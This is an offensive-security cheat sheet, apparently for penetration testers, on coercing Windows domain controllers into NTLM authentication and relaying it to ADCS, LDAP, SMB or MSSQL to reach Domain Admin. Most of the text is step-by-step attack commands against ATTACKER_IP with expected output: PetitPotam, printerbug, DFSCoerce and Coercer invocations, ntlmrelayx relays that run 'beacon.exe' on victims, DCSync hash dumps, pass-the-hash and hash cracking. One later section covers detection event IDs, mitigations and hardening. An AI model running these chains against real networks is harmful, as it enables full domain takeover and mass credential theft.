Force Windows machines to authenticate to your host, capture NTLM hashes, relay them, or escalate to Domain Admin.
Legend:
[NTLM]= NT LAN Manager |[DC]= Domain Controller |[DA]= Domain Admin |[UNC]= Universal Naming Convention |[RPC]= Remote Procedure Call |[SMB]= Server Message Block |[LDAP]= Lightweight Directory Access Protocol |[ADCS]= Active Directory Certificate Services |[ESC8]= AD CS HTTP Relay Attack |[NTLMv2]= Net-NTLMv2 Hash |[RBCD]= Resource-Based Constrained Delegation
1. What are Coercion Attacks?
Coercion = Trick a Windows machine (especially a Domain Controller) into authenticating to your attacker-controlled host using built-in Windows protocols and RPC calls.
The victim sends an NTLM authentication request to your machine. You can then: - Capture the NTLMv2 hash → crack offline - Relay it to another service (LDAP, SMB, ADCS) → compromise without cracking - Combine with ADCS ESC8 → get a certificate → get a TGT → instant Domain Admin
Why Coercion is So Powerful
Normal attack path:
foothold → enumerate → find cred → lateral move → DA
(takes hours/days, requires luck)
Coercion attack path:
foothold → coerce DC → relay to ADCS → cert → TGT → DA
(takes < 5 minutes if ADCS is misconfigured!)
Coercion Attack Family
| Attack | Protocol Abused | Year | Auth Type Forced |
|---|---|---|---|
| PrinterBug | MS-RPRN (Print Spooler) | 2018 | NTLMv1/v2 |
| PetitPotam | MS-EFSR (EFS RPC) | 2021 | NTLMv1/v2 |
| DFSCoerce | MS-DFSNM (DFS Namespace) | 2022 | NTLMv1/v2 |
| ShadowCoerce | MS-FSRVP (File Server VSS) | 2022 | NTLMv1/v2 |
| MSEven | MS-EVEN (Event Log) | 2022 | NTLMv1/v2 |
| CheeseOunce | MS-ICPR (Cert Services) | 2022 | NTLMv1/v2 |
| PrintNightmare | MS-PAR (Print Spooler) | 2021 | NTLMv1/v2 |
2. How Coercion Works
2.1 The Core Mechanism
Step 1: Find a Windows RPC function that accepts a UNC path argument
e.g. "connect to \SERVER\share and do operation X"
Step 2: Call that RPC function with YOUR IP as the UNC path
e.g. "connect to \ATTACKER_IP\share"
Step 3: Target machine attempts to authenticate to your host
→ Windows automatically uses NTLM authentication
→ Sends NTLMv2 hash of the MACHINE ACCOUNT (e.g., DC01$)
Step 4: You capture or relay that authentication
→ Responder/Inveigh = capture hash
→ ntlmrelayx = relay to another service
2.2 Authentication Flow
Attacker Victim (DC)
| |
|─── RPC Call: "auth to \10.10.14.1\x" ──→|
| |
|←────── NTLM Negotiate ──────────────|
|─────── NTLM Challenge ─────────────→|
|←────── NTLM Authenticate ──────────|
| (DC01$::CORP:NetNTLMv2 hash!) |
| |
↓
HASH → Crack or Relay!
2.3 What You Need
Requirements:
✅ Network access to target (any low-priv domain user works!)
✅ Listener on your machine (Responder or ntlmrelayx)
✅ One of the coercion tools
NOT needed:
❌ Admin on target
❌ Local access to target
❌ Credentials for target
3. What to Do With Captured Auth
3.1 Options After Coercion
Captured DC Auth (DC01$)
│
├──→ RELAY to LDAP → Add DCSync rights / RBCD abuse
├──→ RELAY to LDAP(S) → Shadow Credentials / RBCD
├──→ RELAY to SMB → Exec commands (only if signing disabled!)
├──→ RELAY to ADCS HTTP → Request certificate → Cert → TGT → DA!
├──→ RELAY to MSSQL → Execute queries / xp_cmdshell
└──→ CAPTURE hash → Crack NTLMv2 offline
3.2 Relay Target Priority
| Target Service | Requirement | Result |
|---|---|---|
| ADCS HTTP (ESC8) | ADCS web enrollment enabled | Certificate → TGT → DA |
| LDAP | LDAP signing not enforced | Add DCSync ACL, RBCD, Shadow Creds |
| LDAPS | Channel binding not enforced | Same as LDAP |
| SMB | SMB signing disabled on target | RCE on target machine |
| MSSQL | SQL server accessible | DB access, xp_cmdshell |
| Crack hash | Weak machine account password | Plaintext (rare but possible) |
4. PrinterBug / SpoolSample
Abuses the MS-RPRN (Print Spooler) RPC interface. The
RpcRemoteFindFirstPrinterChangeNotificationExfunction accepts a UNC path and forces the target to authenticate to it. Works on any host with Spooler service running (default on DCs!).
MITRE: T1187 (Forced Authentication)
4.1 Check if Spooler is Running
# Check if Print Spooler is running on target
rpcdump.py CORP/jsmith:P@ss@DC01.CORP.LOCAL | grep -i spool
# PowerShell check
Get-Service -ComputerName DC01 -Name Spooler
# With CrackMapExec
crackmapexec smb DC01.CORP.LOCAL -u jsmith -p P@ss -M spooler
4.2 SpoolSample (C#)
# Compile or grab from SharpCollection
# GitHub: https://github.com/leechristensen/SpoolSample
# Usage: SpoolSample.exe <target> <capturehost>
.\SpoolSample.exe DC01.CORP.LOCAL ATTACKER_IP
# Output:
# [+] Converted DLL to shellcode
# [+] Executing RpcRemoteFindFirstPrinterChangeNotificationEx
# [+] Got handle
# Target DC01 will auth to ATTACKER_IP immediately!
4.3 printerbug.py (Linux / Impacket)
# From Linux — pip3 install impacket
python3 printerbug.py CORP/jsmith:P@ss@DC01.CORP.LOCAL ATTACKER_IP
# With hash instead of password
python3 printerbug.py CORP/jsmith@DC01.CORP.LOCAL -hashes :NTLM_HASH ATTACKER_IP
# Full example with Responder capturing:
# Terminal 1 — start Responder
sudo responder -I eth0 -v
# Terminal 2 — trigger coercion
python3 printerbug.py CORP/jsmith:P@ss@DC01.CORP.LOCAL 10.10.14.5
# Responder output:
# [SMB] NTLMv2 Hash Captured:
# DC01$::CORP:AABBCCDD...:NetNTLMv2_HASH
5. PetitPotam
Abuses the MS-EFSR (Encrypting File System Remote Protocol) RPC interface. Calls
EfsRpcOpenFileRaw(and other EFS functions) with a UNC path → forces NTLM auth. Works UNAUTHENTICATED against older/unpatched DCs! One of the most critical coercion bugs ever discovered.
Author: topotam
GitHub: https://github.com/topotam/PetitPotam
MITRE: T1187 (Forced Authentication), T1557 (Adversary-in-the-Middle)
5.1 PetitPotam Variants
| Variant | Auth Required | EFS Service Required |
|---|---|---|
| Original (pre-patch) | ❌ None | ✅ Yes |
| Post-patch | ✅ Domain user | ✅ Yes |
| Alt functions (EfsRpcDecryptFileSrv etc.) | ✅ Domain user | ❌ No (uses other functions) |
5.2 Usage
# Unauthenticated (unpatched DCs only!)
python3 PetitPotam.py ATTACKER_IP DC01.CORP.LOCAL
# Authenticated (works on patched DCs)
python3 PetitPotam.py -u jsmith -p P@ssw0rd -d CORP.LOCAL ATTACKER_IP DC01.CORP.LOCAL
# With hash
python3 PetitPotam.py -u jsmith -p "" -hashes :NTLM_HASH -d CORP.LOCAL ATTACKER_IP DC01.CORP.LOCAL
# Try all EFS functions (bypass patches)
python3 PetitPotam.py -u jsmith -p P@ss -d CORP.LOCAL ATTACKER_IP DC01.CORP.LOCAL -pipe all
# Example full attack:
# Terminal 1: Start ntlmrelayx targeting ADCS
sudo ntlmrelayx.py -t http://ADCS_SERVER/certsrv/certfnsh.asp --adcs --template DomainController
# Terminal 2: Trigger PetitPotam
python3 PetitPotam.py -u jsmith -p P@ss -d CORP.LOCAL 10.10.14.5 DC01.CORP.LOCAL
# Result:
# [*] Authenticating against http://ADCS/certsrv/...
# [*] Certificate: MIIRdgYJKoZIhvcNAQcCoIIRZzCCEWM...
# → Use certificate with Rubeus to get TGT → DA!
5.3 Check if Vulnerable
# Check if EFS is running
rpcdump.py CORP/jsmith:P@ss@DC01 | grep -i "MS-EFSR\|efsrpc"
# CrackMapExec module
crackmapexec smb DC01 -u jsmith -p P@ss -M petitpotam
6. DFSCoerce
Abuses MS-DFSNM (Distributed File System Namespace Management) RPC protocol. Calls
NetrDfsAddStdRootorNetrDfsRemoveStdRootwith UNC path → forces DC auth. More reliable than PetitPotam on patched systems.
Author: @domchell (Dominic Chell / MDSec)
GitHub: https://github.com/exploits-forsale/DFSCoerce
6.1 Usage
# DFSCoerce Python (authenticated — needs valid domain user)
python3 dfscoerce.py -u jsmith -p P@ssw0rd -d CORP.LOCAL ATTACKER_IP DC01.CORP.LOCAL
# With hash
python3 dfscoerce.py -u jsmith -hashes :NTLM_HASH -d CORP.LOCAL ATTACKER_IP DC01.CORP.LOCAL
# Check if vulnerable (list DFS functions)
rpcdump.py CORP/jsmith:P@ss@DC01 | grep "MS-DFSNM"
# Full relay example:
# Terminal 1: Start NTLM relay to ADCS
sudo ntlmrelayx.py -t http://ADCS/certsrv/certfnsh.asp --adcs --template DomainController -smb2support
# Terminal 2: Coerce with DFSCoerce
python3 dfscoerce.py -u jsmith -p P@ss -d CORP.LOCAL 10.10.14.5 DC01.CORP.LOCAL
7. ShadowCoerce
Abuses MS-FSRVP (File Server Remote VSS Protocol) — specifically
IsPathShadowCopiedandIsPathSupportedfunctions. Forces auth to attacker UNC path. Requires file server role on target.
Author: @podalirius_
GitHub: https://github.com/ShutdownRepo/ShadowCoerce
# Check if MS-FSRVP is available on target
rpcdump.py CORP/jsmith:P@ss@DC01 | grep "MS-FSRVP\|FSRVP"
# Run ShadowCoerce
python3 shadowcoerce.py -u jsmith -p P@ssw0rd -d CORP.LOCAL ATTACKER_IP DC01.CORP.LOCAL
# With hash
python3 shadowcoerce.py -u jsmith -p "" -hashes :NTLM_HASH -d CORP.LOCAL ATTACKER_IP DC01.CORP.LOCAL
# NOTE: Requires File Server VSS Agent Service running on target
# Often NOT running on DCs by default — better for file servers
8. MSEven / CheeseOunce
8.1 MSEven — Event Log RPC Coercion
Abuses the MS-EVEN (Event Log) RPC protocol. Calls
ElfrOpenBELWwith a UNC path → forces NTLM authentication.
# GitHub: https://github.com/remedy-it/mseven-coerce
python3 MSEven.py -u jsmith -p P@ss -d CORP.LOCAL ATTACKER_IP DC01.CORP.LOCAL
# Useful when Spooler, EFS, DFSNM are all disabled/patched
# Works on most Windows versions by default
8.2 CheeseOunce — MS-ICPR Coercion
Abuses MS-ICPR (ICertPassage Remote Protocol — Certificate Services). Calls certificate request functions with UNC paths. Only works when ADCS is installed on target.
# GitHub: https://github.com/jndok/CheeseOunce
python3 CheeseOunce.py -u jsmith -p P@ss -d CORP.LOCAL ATTACKER_IP ADCS_SERVER.CORP.LOCAL
9. Coercer — All-in-One Tool
The best tool for coercion. Automatically tries ALL known coercion methods (MS-RPRN, MS-EFSR, MS-DFSNM, MS-FSRVP, MS-EVEN, MS-ICPR and more) against a target. Supports scanning, brute-force coerce, and filtering by protocol.
Author: @podalirius_
GitHub: https://github.com/p0dalirius/Coercer
Install: pip3 install coercer
# ==========================================
# SCAN MODE — List vulnerable RPC methods
# ==========================================
# Scan a single target for all coercible RPC methods
coercer scan -u jsmith -p P@ssw0rd -d CORP.LOCAL -t DC01.CORP.LOCAL
# Scan entire subnet
coercer scan -u jsmith -p P@ssw0rd -d CORP.LOCAL -t 192.168.1.0/24
# Scan with hash
coercer scan -u jsmith -p "" --hashes :NTLM_HASH -d CORP.LOCAL -t DC01.CORP.LOCAL
# Filter by specific protocol
coercer scan -u jsmith -p P@ss -d CORP.LOCAL -t DC01 --filter-protocol MS-RPRN
coercer scan -u jsmith -p P@ss -d CORP.LOCAL -t DC01 --filter-protocol MS-EFSR
# Verbose scan output
coercer scan -u jsmith -p P@ss -d CORP.LOCAL -t DC01 -v
# Example scan output:
# [+] MS-RPRN: RpcRemoteFindFirstPrinterChangeNotificationEx → VULNERABLE
# [+] MS-EFSR: EfsRpcOpenFileRaw → VULNERABLE
# [+] MS-DFSNM: NetrDfsAddStdRoot → VULNERABLE
# [-] MS-FSRVP: IsPathShadowCopied → NOT VULNERABLE
# ==========================================
# COERCE MODE — Trigger authentication
# ==========================================
# Coerce using ALL methods (fire everything!)
coercer coerce -u jsmith -p P@ssw0rd -d CORP.LOCAL -t DC01.CORP.LOCAL -l ATTACKER_IP
# Coerce using specific protocol only
coercer coerce -u jsmith -p P@ss -d CORP.LOCAL -t DC01 -l ATTACKER_IP --filter-protocol MS-EFSR
# Coerce with hash
coercer coerce -u jsmith -p "" --hashes :NTLM_HASH -d CORP.LOCAL -t DC01 -l ATTACKER_IP
# Coerce ALL hosts in subnet (mass coercion!)
coercer coerce -u jsmith -p P@ss -d CORP.LOCAL -t 192.168.1.0/24 -l ATTACKER_IP
# ==========================================
# COMBINED WITH LISTENERS
# ==========================================
# Terminal 1: Start Responder (capture hashes)
sudo responder -I eth0 -v -d -w
# Terminal 2: Coerce ALL methods
coercer coerce -u jsmith -p P@ss -d CORP.LOCAL -t DC01 -l 10.10.14.5
# Terminal 1: Start ntlmrelayx (relay to ADCS)
sudo ntlmrelayx.py -t http://ADCS/certsrv/certfnsh.asp --adcs --template DomainController
# Terminal 2: Coerce
coercer coerce -u jsmith -p P@ss -d CORP.LOCAL -t DC01 -l 10.10.14.5
10. NTLM Relay Attack Chain
After coercion, captured NTLM auth is relayed to a target service. The attacker-controlled relay acts as a man-in-the-middle — forwarding the DC's authentication to another service.
10.1 Setup: NTLM Relay with ntlmrelayx
# Tool: impacket-ntlmrelayx
# pip3 install impacket
# ==========================================
# RELAY TO SMB (RCE — requires SMB signing disabled)
# ==========================================
# Check SMB signing on targets (find unsigned hosts)
crackmapexec smb 192.168.1.0/24 --gen-relay-list unsigned_hosts.txt
# Relay to SMB → execute command
sudo ntlmrelayx.py -tf unsigned_hosts.txt -smb2support -c "cmd /c whoami > C:\Temp\out.txt"
# Relay to SMB → interactive smbclient shell
sudo ntlmrelayx.py -tf unsigned_hosts.txt -smb2support -i
# ==========================================
# RELAY TO LDAP (no signing required = often default!)
# ==========================================
# Relay to LDAP → dump domain info
sudo ntlmrelayx.py -t ldap://DC01.CORP.LOCAL --no-smb-server -wh attacker-wpad
# Relay to LDAP → escalate to DCSync (add DCSync ACL to target user!)
sudo ntlmrelayx.py -t ldap://DC01.CORP.LOCAL --escalate-user jsmith
# After escalation, run DCSync:
impacket-secretsdump CORP/jsmith:P@ss@DC01.CORP.LOCAL
# Relay to LDAPS → Shadow Credentials attack
sudo ntlmrelayx.py -t ldaps://DC01.CORP.LOCAL --shadow-credentials --shadow-target DC01$
# ==========================================
# RELAY TO ADCS (ESC8 — MOST POWERFUL!)
# ==========================================
# See Section 11 for full ADCS relay chain
sudo ntlmrelayx.py -t http://ADCS/certsrv/certfnsh.asp --adcs --template DomainController
# ==========================================
# RELAY TO MSSQL
# ==========================================
sudo ntlmrelayx.py -t mssql://SQLSERVER.CORP.LOCAL --no-smb-server
# ==========================================
# RELAY TO MULTIPLE TARGETS SIMULTANEOUSLY
# ==========================================
sudo ntlmrelayx.py -tf targets.txt -smb2support --no-http-server
10.2 Disable Responder Before Relaying!
# IMPORTANT: Responder and ntlmrelayx both use port 445/139/80
# When relaying, DISABLE SMB/HTTP in Responder config:
# Edit /etc/responder/Responder.conf:
# SMB = Off
# HTTP = Off
# Then start Responder (only for poisoning, not capturing)
sudo responder -I eth0 -v
# Then start ntlmrelayx (handles the actual relay on 445/80)
sudo ntlmrelayx.py -tf targets.txt -smb2support
11. Coercion → ADCS ESC8 (DA in One Shot)
The most devastating coercion chain. If ADCS (Active Directory Certificate Services) has Web Enrollment enabled (
/certsrv), you can relay the DC's authentication to ADCS, request a Domain Controller certificate, use it to get a TGT as the DC, then DCSync all hashes.
11.1 Full Attack Flow
Attacker
│
├─① Check ADCS Web Enrollment exists:
│ curl http://ADCS_SERVER/certsrv/ → if 401/200 → vulnerable!
│
├─② Start ntlmrelayx pointing at ADCS:
│ ntlmrelayx.py -t http://ADCS/certsrv/certfnsh.asp --adcs --template DomainController
│
├─③ Trigger coercion against DC:
│ PetitPotam / Coercer → force DC01$ to auth to 10.10.14.5
│
├─④ Relay chain fires:
│ DC01$ → [ntlmrelayx] → ADCS Web Enrollment
│ ntlmrelayx requests cert for DC01$ using DomainController template
│ ADCS issues certificate (base64 encoded)
│
├─⑤ Use certificate to get TGT:
│ Rubeus.exe asktgt /user:DC01$ /certificate:BASE64_CERT /ptt
│ OR: certipy auth -pfx dc01.pfx -dc-ip DC_IP
│
├─⑥ DCSync → get all hashes:
│ secretsdump -k DC01.CORP.LOCAL
│
└─⑦ Golden Ticket / Pass the Hash → FULL DOMAIN COMPROMISE
11.2 Step-by-Step Commands
# STEP 1: Check ADCS Web Enrollment
curl -k http://ADCS.CORP.LOCAL/certsrv/
# 401 Unauthorized = Web Enrollment is LIVE!
# Also check with certipy:
certipy find -u jsmith@CORP.LOCAL -p P@ss -dc-ip DC_IP -vulnerable -stdout
# STEP 2: Start relay (targeting ADCS)
sudo ntlmrelayx.py \
-t "http://ADCS.CORP.LOCAL/certsrv/certfnsh.asp" \
--adcs \
--template DomainController \
-smb2support \
--no-http-server
# STEP 3: Trigger coercion (pick one)
python3 PetitPotam.py -u jsmith -p P@ss -d CORP.LOCAL 10.10.14.5 DC01.CORP.LOCAL
# OR:
coercer coerce -u jsmith -p P@ss -d CORP.LOCAL -t DC01.CORP.LOCAL -l 10.10.14.5
# OR:
python3 printerbug.py CORP/jsmith:P@ss@DC01.CORP.LOCAL 10.10.14.5
# STEP 4: ntlmrelayx output (auto-fires after coercion):
# [*] HTTPD: Received connection from DC01.CORP.LOCAL
# [*] Authenticating against http://ADCS/certsrv/...
# [*] Certificate: MIIRdgYJKoZIhvcNAQcCoIIRZzCCEWMCAQExAA...
# → COPY the base64 certificate!
# STEP 5A: Use certificate with Rubeus (Windows)
.\Rubeus.exe asktgt /user:DC01$ /certificate:BASE64_CERT_HERE /ptt
# OR save to file:
echo "BASE64_CERT" | base64 -d > dc01.pfx
.\Rubeus.exe asktgt /user:DC01$ /certificate:dc01.pfx /ptt
# STEP 5B: Use certificate with Certipy (Linux)
echo "BASE64_CERT" | base64 -d > dc01.pfx
certipy auth -pfx dc01.pfx -dc-ip DC_IP -domain CORP.LOCAL
# Output:
# [+] Got hash for 'DC01$@corp.local': aad3b435b51404eeaad3b435b51404ee:MACHINE_HASH
# STEP 6: DCSync using machine TGT or hash
export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass DC01.CORP.LOCAL
# OR:
impacket-secretsdump CORP/'DC01$'@DC01.CORP.LOCAL -hashes :MACHINE_NTLM_HASH
# STEP 7: Get admin access (PTH with krbtgt/Administrator hash)
impacket-psexec CORP/Administrator@DC01.CORP.LOCAL -hashes :NTLM_HASH
12. Coercion → RBCD Escalation
If LDAP relay is possible (no LDAP signing), coerce a DC's auth to LDAP and add Resource-Based Constrained Delegation rights to a machine you control → impersonate DA on that machine.
# Step 1: Create/own a computer account (need CreateComputerObjects right)
impacket-addcomputer CORP/jsmith:P@ss -computer-name ATTACKER$ -computer-pass AttackerPass123
# Step 2: Start ntlmrelayx with RBCD delegation
sudo ntlmrelayx.py \
-t ldap://DC01.CORP.LOCAL \
--delegate-access \
--escalate-user ATTACKER$ \
-smb2support
# Step 3: Coerce DC to authenticate to attacker
python3 PetitPotam.py -u jsmith -p P@ss -d CORP.LOCAL 10.10.14.5 DC01.CORP.LOCAL
# Step 4: ntlmrelayx sets msDS-AllowedToActOnBehalfOfOtherIdentity on target
# [*] Modifying target DC01$ to allow ATTACKER$ to impersonate users!
# Step 5: Get service ticket as Administrator for DC01
impacket-getST \
-spn cifs/DC01.CORP.LOCAL \
-impersonate Administrator \
CORP/ATTACKER$:AttackerPass123
# Step 6: Use service ticket
export KRB5CCNAME=Administrator@cifs_DC01.CORP.LOCAL.ccache
impacket-secretsdump -k -no-pass DC01.CORP.LOCAL
impacket-psexec -k -no-pass DC01.CORP.LOCAL
13. Coercion → NTLMv2 Hash Cracking
When relaying is blocked (LDAP signing, ADCS unavailable, SMB signing), fall back to capturing and cracking the NTLMv2 hash offline.
# Step 1: Start Responder in capture mode
sudo responder -I eth0 -v -w -d
# Step 2: Trigger coercion
coercer coerce -u jsmith -p P@ss -d CORP.LOCAL -t DC01 -l 10.10.14.5
# Step 3: Responder captures:
# [SMB] NTLMv2 Hash Captured from 192.168.1.10:
# DC01$::CORP:AABBCCDDEE112233:9A8B7C6D...:0101000000000000...
# Step 4: Crack with Hashcat
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# NOTE: Machine account passwords are random 120-char strings by default
# → Machine account hash cracking almost always FAILS
# → Works better for WORKSTATION coercion where password may be weak
# → Use relay attacks for DC hashes instead
# John the Ripper alternative
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt --format=netntlmv2
14. Detection & Defense
14.1 Key Event IDs
| Event ID | Source | What it Detects |
|---|---|---|
| 4648 | Windows Security | Logon attempt with explicit credentials to unusual host |
| 5156 | Windows Filtering | Outbound connection to attacker IP on port 445/139/80 |
| 4624 | Windows Security | Type 3 (Network) logon from unexpected IP |
| 4768 | Windows Security | TGT requested using certificate (Kerberos PKINIT) — ADCS ESC8! |
| 4886/4887 | Windows Security | ADCS certificate enrolled on behalf of DC account |
| 5145 | Windows Security | Network share access to \PIPE\spoolss, \PIPE\efsrpc |
| Sysmon 3 | Sysmon | Outbound network connection from lsass.exe or spoolsv.exe |
14.2 Mitigations
| Mitigation | Blocks |
|---|---|
| Disable Print Spooler on DCs | PrinterBug / SpoolSample |
| Block inbound SMB from non-DCs | All coercion-based NTLM relay to SMB |
| Enable SMB Signing (enforce!) | SMB relay (doesn't stop capture) |
| Enable LDAP Signing + Channel Binding | LDAP relay attacks |
| Enable Extended Protection for Authentication (EPA) | ADCS ESC8 relay, LDAPS relay |
| Disable NTLM for domain auth (Kerberos-only) | ALL NTLM-based coercion relay |
| Install KB5005413 (MS patch for PetitPotam) | Unauthenticated PetitPotam |
| Disable ADCS Web Enrollment (certsrv) | ADCS ESC8 relay |
| Enable IIS Extended Protection on ADCS | ADCS ESC8 relay |
| Firewall: block 445/139 between clients and DCs | Reduces lateral movement surface |
| Monitor for certsrv requests from DC machine accounts | ADCS ESC8 detection |
14.3 Hardening Commands
# Disable Print Spooler on DC (CRITICAL!)
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
# Enable SMB Signing (prevents SMB relay)
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force
# Enable LDAP Signing via GPO:
# Computer Configuration → Windows Settings → Security Settings
# → Local Policies → Security Options
# → Domain Controller: LDAP server signing requirements = Require signing
# Enable Extended Protection (IIS/ADCS):
# IIS Manager → Default Web Site → certsrv → Authentication
# → Windows Authentication → Advanced Settings → Enable Extended Protection
# Check NTLM relay mitigations
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters | Select-Object RequireSecuritySignature
# Disable NTLM entirely (nuclear option — test in lab first!)
# GPO: Computer Configuration → Windows Settings → Security Settings
# → Local Policies → Security Options
# → Network Security: Restrict NTLM: NTLM authentication in this domain = Deny All
14.4 Detection with Sigma / Splunk
# Sigma Rule — DC authenticating to non-DC host (PrinterBug/PetitPotam indicator)
title: Domain Controller Outbound NTLM to Non-DC Host
status: experimental
logsource:
product: windows
service: security
detection:
selection:
EventID: 4648
SubjectUserName|endswith: '$' # Machine account
TargetServerName|not|contains:
- 'DC'
- 'DOMAIN CONTROLLER NAMES'
condition: selection
falsepositives:
- Legitimate DC-to-server NTLM auth
level: high
tags:
- attack.credential_access
- attack.t1187
15. Complete Cheat Sheet
# ==========================================
# RECONNAISSANCE
# ==========================================
# Check for coercible services
rpcdump.py CORP/jsmith:P@ss@DC01 | grep -i "spool\|EFSR\|DFSNM\|FSRVP"
coercer scan -u jsmith -p P@ss -d CORP.LOCAL -t DC01.CORP.LOCAL
crackmapexec smb DC01 -u jsmith -p P@ss -M spooler
# Check ADCS web enrollment (ESC8 target)
curl -k http://ADCS_SERVER/certsrv/
certipy find -u jsmith@CORP.LOCAL -p P@ss -dc-ip DC_IP -vulnerable -stdout
# Check SMB signing (for SMB relay feasibility)
crackmapexec smb 192.168.1.0/24 --gen-relay-list unsigned_hosts.txt
# ==========================================
# COERCION TOOLS
# ==========================================
# ALL-IN-ONE (recommended)
coercer coerce -u jsmith -p P@ss -d CORP.LOCAL -t DC01 -l ATTACKER_IP
# PetitPotam (unauthenticated on unpatched, auth on patched)
python3 PetitPotam.py -u jsmith -p P@ss -d CORP.LOCAL ATTACKER_IP DC01
python3 PetitPotam.py ATTACKER_IP DC01 # unauthenticated (unpatched only!)
# PrinterBug / SpoolSample
python3 printerbug.py CORP/jsmith:P@ss@DC01 ATTACKER_IP
.\SpoolSample.exe DC01.CORP.LOCAL ATTACKER_IP
# DFSCoerce
python3 dfscoerce.py -u jsmith -p P@ss -d CORP.LOCAL ATTACKER_IP DC01
# ShadowCoerce
python3 shadowcoerce.py -u jsmith -p P@ss -d CORP.LOCAL ATTACKER_IP DC01
# ==========================================
# CAPTURE HASHES (Responder)
# ==========================================
sudo responder -I eth0 -v
# → Edit /etc/responder/Responder.conf: SMB=Off, HTTP=Off when relaying
# ==========================================
# RELAY ATTACKS
# ==========================================
# Relay to ADCS (ESC8) → MOST POWERFUL → DA!
sudo ntlmrelayx.py -t http://ADCS/certsrv/certfnsh.asp --adcs --template DomainController -smb2support
# → Coerce DC → get base64 cert → Rubeus asktgt → DCSync → DA
# Relay to LDAP → DCSync rights escalation
sudo ntlmrelayx.py -t ldap://DC01 --escalate-user jsmith
# Relay to LDAPS → Shadow Credentials
sudo ntlmrelayx.py -t ldaps://DC01 --shadow-credentials --shadow-target DC01$
# Relay to LDAP → RBCD
sudo ntlmrelayx.py -t ldap://DC01 --delegate-access --escalate-user ATTACKER$
# Relay to SMB → RCE (unsigned targets only)
sudo ntlmrelayx.py -tf unsigned_hosts.txt -smb2support -c "C:\Temp\beacon.exe"
# ==========================================
# POST-COERCION (ADCS ESC8 FULL CHAIN)
# ==========================================
# Get TGT from certificate (Linux)
certipy auth -pfx dc01.pfx -dc-ip DC_IP -domain CORP.LOCAL
# Get TGT from certificate (Windows)
.\Rubeus.exe asktgt /user:DC01$ /certificate:BASE64_CERT /ptt
# DCSync after TGT
export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass DC01.CORP.LOCAL
# PTH to DC
impacket-psexec CORP/Administrator@DC01 -hashes :ADMIN_NTLM_HASH
# ==========================================
# ATTACK SCENARIO REFERENCE
# ==========================================
# SCENARIO 1: ADCS Available (fastest DA path — < 5 min)
# 1. sudo ntlmrelayx.py -t http://ADCS/certsrv/certfnsh.asp --adcs --template DomainController
# 2. coercer coerce -u jsmith -p P@ss -d CORP.LOCAL -t DC01 -l ATTACKER_IP
# 3. certipy auth -pfx dc01.pfx -dc-ip DC_IP
# 4. impacket-secretsdump -k -no-pass DC01.CORP.LOCAL → ALL HASHES!
# SCENARIO 2: ADCS Unavailable, LDAP Signing Off
# 1. ntlmrelayx.py -t ldap://DC01 --escalate-user jsmith
# 2. coercer coerce ... → relay fires → jsmith gets DCSync rights
# 3. secretsdump CORP/jsmith:P@ss@DC01 → ALL HASHES!
# SCENARIO 3: SMB Signing Off on Workstations
# 1. ntlmrelayx.py -tf unsigned.txt -smb2support -c "beacon.exe"
# 2. coercer coerce ... → relay fires → RCE on all unsigned hosts
# SCENARIO 4: All relay paths blocked — crack hash
# 1. sudo responder -I eth0 -v
# 2. coercer coerce ... → DC01$ hash captured
# 3. hashcat -m 5600 hash.txt rockyou.txt (rarely works for DCs)
# → Use on regular workstation/server coercion instead
# ==========================================
# IMPORTANT NOTES
# ==========================================
# - NEVER run Responder and ntlmrelayx simultaneously on same ports!
# → In Responder.conf: SMB=Off HTTP=Off when relaying
# - DC machine account (DC01$) hashes are NOT usually crackable
# → Always prefer relaying over cracking for DC coercion
# - PetitPotam auth variant still works on patched DCs with valid domain creds
# - Coercer scans and tries ALL methods — use it first to find what works
# - ESC8 ADCS relay requires DomainController or KerberosAuthentication template
# with CA+NTLM auth enabled on certsrv IIS app